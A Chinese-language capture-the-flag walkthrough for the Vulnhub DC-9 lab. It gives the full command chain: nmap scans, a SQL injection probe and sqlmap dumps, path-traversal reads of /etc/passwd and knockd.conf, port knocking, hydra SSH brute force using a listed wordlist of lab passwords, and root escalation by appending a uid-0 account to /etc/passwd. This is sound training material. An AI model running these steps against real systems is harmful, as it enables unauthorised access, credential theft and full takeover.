DC-9靶场练习
Vulnhub靶场-DC-9
准备工作
kali和靶机都选择NAT模式(kali与靶机同网段)
下载链接:https://download.vulnhub.com/dc/DC-9.zip
一、主机发现
nmap扫描内网主机
查看ip4命令:ipconfig
nmap -sP 192.168.0.1/24
二、端口扫描
nmap扫描端口
nmap -v -sV -O 192.168.0.114
暴露端口:
- 22端口 ssh(过滤,限制登录)
- 80端口 http
版本预测:Linux 3.2 - 4.9
三、数据收集
访问192.168.0.114
搜索框输入以下命令,判断存在SQL注入
' or 1=1 --+
sqlmap一把梭
爆库
python sqlmap.py -u "http://192.168.0.114/results.php" --data="search=1" --dbs --batch
爆表
python sqlmap.py -u "http://192.168.0.114/results.php" --data="search=1" -D 'users' --tables --batch
爆数据
python sqlmap.py -u "http://192.168.0.114/results.php" --data="search=1" -D 'users' -T 'UserDetails' --dump --batch
这是员工的数据库,看看另一个数据库
爆表
python sqlmap.py -u "http://192.168.0.114/results.php" --data="search=1" -D Staff --tables --batch
爆数据
python sqlmap.py -u "http://192.168.0.114/results.php" --data="search=1" -D Staff -T Users --dump --batch
用自带的字典解密,得到账户密码:
Username | Password |
---|---|
admin | transorbital1 |
四、WEB后台漏洞
发现 File does not exist 可能有文件包含漏洞(LFI)
结合22端口被过滤,猜测是Port-knocking
访问http://192.168.0.114/welcome.php?file=../../../../../../../../../etc/passwd
存在漏洞,查看ssh配置文件
http://192.168.0.114/welcome.php?file=../../../../../../../../etc/knockd.conf
发现自定义端口:
根据Port-knocking的规则,依次访问这三个端口即可开启ssh服务
nmap -p 7469 192.168.0.114
nmap -p 8475 192.168.0.114
nmap -p 9842 192.168.0.114
五、SSH爆破
用刚才的员工数据库把账号密码分别写入两个字典
账户
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
-------------------------------------------------------------------------------------
密码
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
使用hydra进行爆破
hydra -L username.txt -P password.txt 192.168.0.114 ssh
爆出三个用户
janitor用户发现密码字典
将密码放入password再次进行SSH爆破
发现新用户
SSH登录
ssh fredf@192.168.0.114
密码:B4-Tru3-001
六、提权
sudo -l
查看用户权限
发现可提权
查看python脚本
cd /opt/devstuff
cat test.py
追加写入文件的python脚本
使用OpenSSL在本地构建加密用户
openssl passwd -1 -salt admin 123456
提权
# 在/opt/devstuff/dist/test目录下创建一个文件
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/aaa
# 用test程序运行文件
sudo ./test /tmp/aaa /etc/passwd
# 切换用户
su admin
# 查看flag
cd /root
cat theflag.txt